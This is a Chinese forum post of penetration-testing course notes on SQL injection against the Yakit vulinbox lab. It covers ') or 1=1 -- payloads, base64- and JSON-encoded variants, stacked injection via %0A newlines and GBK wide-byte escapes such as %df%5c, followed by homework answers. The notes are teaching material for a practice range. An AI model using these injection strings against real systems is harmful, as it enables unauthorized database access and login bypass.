发帖
 找回密码
 立即注册
搜索
0 0

分享 15-模糊堆叠宽字节注入

技术分享 1025 0 2025-4-10 23:40:24
本帖最后由 梁国东 于 2025-4-10 23:41 编辑

源码:https://github.com/yaklang/yakla ... ulinbox/vul_sqli.go

sql-9
select * from vulin_users where (username LIKE '%b%') AND (age > 20);
') or 1=1 --
select * from vulin_users where (username LIKE '%') or 1=1 -- %') AND (age > 20);

sql-10
select * from vulin_users where (username LIKE '%a%') AND (age > 20);
') or 1=1 --
编码---》服务端---》解码---》执⾏ sql
% %
base64
a==??
select * from vulin_users where (username LIKE '%%') AND (age > 20);
GET /user/name/like/b64?nameb64=a HTTP/1.1-这样可以就是后端代码缺乏安全意识
一般是这样
http://192.168.3.2:8787/user/nam ... ScpIG9yIDE9MSAtLQ==


Sql-11
select * from vulin_users where (username LIKE '%a%') AND (age > 20);
{"nameb64j":"a"}
{"nameb64j":"') or 1=1 --"}
GET /user/name/like/b64j?data={"nameb64j":"a') or 1=1 --"}== HTTP/1.1


sql-12
遇到注⼊点在结尾的,那么可以进⾏堆叠注⼊测试

换⾏符:\n
表现形式:%0A 回⻋

select * from vulin_users where (username LIKE '%a%') LIMIT 5;
select * from vulin_users where (username LIKE '%a%') LIMIT 5 and 1=1;
后端给我们加了个反斜杠,把我们传递的特殊符号全部转义了(不⽣效了)
换⾏
select * from vulin_users where (username LIKE '%a%') LIMIT 5;select * from vulin_users
where (username LIKE '%a%') LIMIT 5 and 1=1;
select * from vulin_users where (username LIKE '%a%') LIMIT 5;\nselect * from vulin_users
where (username LIKE '%a%') LIMIT 5 and 1=1;

堆叠注入学习:https://www.cnblogs.com/backlion/p/9721687.html
堆叠注入原理
在SQL中,分号(;)是⽤来表示⼀条sql语句的结束 但是目标系统采用啦一些函数
是可以多条语句一起执行得
如果数据库采用啦一些特定函数 可以在分号后接着写sql语句得
mysqli_query()只能执⾏⼀条SQL语句,如果这需要执⾏多条SQL语句,就需要使⽤mysqli_multi_query()⽅法,
mysqli_multi_query()可以执⾏多条SQL语句,如果后端代码使⽤这个⽅法去执⾏SQL语句,我们就可以利⽤堆叠
注⼊获取后台数据库的信息




数据库语法顺序
SELECT ...
FROM ...
WHERE ...
GROUP BY ...
HAVING ...
ORDER BY ...
LIMIT ...;



宽字节注⼊
什么是宽字节
当某字符的⼤⼩为⼀个字节时,称其字符为窄字节当某字符的⼤⼩为两个字节时,称其字符为宽字节。所有英⽂默
认占⼀个字节,汉字占两个字节。
前提
数据库编码得是 gbk 编码

原理
当传递⼀个参数id=1‘得时候,当我们输⼊这个单引号,会被认为是⾮法字符,会被过滤函数添加“\”给过滤掉,所以
我们想要程序接受我们传递得参数中包含单引号,那么就需要把这个转义字符“\”⼲掉
\ 斜杆的编码为 %5c

乗:%81%5c
'
\' ===> %81%5c%21
乗'

传参⼀个字符想办法凑成⼀个gbk字符,例如:‘運’字是%df%5c
所以添加%df后就变成了 運' 单引号就能正常使⽤了
GBK编码表:https://www.qqxiuzi.cn/zh/hanzi-gbk-bianma.php






WEB渗透测试工程师系统班250303
15节课作业

1. 实际操作课堂讲解的yakit sql注入靶场,截图
2. 堆叠注入的原理是什么
    在SQL中,分号(;)是⽤来表示⼀条sql语句的结束 但是目标系统采用啦一些函数
    是可以多条语句一起执行得
5. 堆叠注入的利用场景是什么
    获取数据库信息执行任意 SQL 命令提升权限绕过登录验证攻击其他系统
7. 宽字节注入的原理是什么
    当传递⼀个参数id=1‘得时候,当我们输⼊这个单引号,会被认为是⾮法字符,会被过滤函数添加“\”给过滤掉,所以
    我们想要程序接受我们传递得参数中包含单引号,那么就需要把这个转义字符\”⼲掉
10. 实操sqli靶场36宽字节注入







──── 0人觉得很赞 ────

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有账号?立即注册

x
免责声明:
1、本论坛中所有用户发布的内容仅代表作者个人观点,与本网站立场无关,本站不对其真实性、完整性或观点承担任何责任。
2、本论坛所提供的全部信息与内容,不保证其准确性、完整性或时效性。因阅读或使用本站内容而产生的任何误导、损失或风险,本站概不承担任何连带或法律责任。
3、当国家司法、行政机关依照法定程序要求本论坛披露用户信息时,本站予以配合并因此免责。
4、因网络线路故障、技术问题、不可抗力或本站无法控制的其他原因导致的服务中断或暂停,本站不承担由此造成的任何直接或间接损失。
5、对于任何通过技术手段破坏、攻击本论坛系统或扰乱正常秩序的行为,本站有权采取包括但不限于限制账号、封禁账号、追究法律责任等措施。
您需要登录后才可以回帖 立即登录
高级模式
返回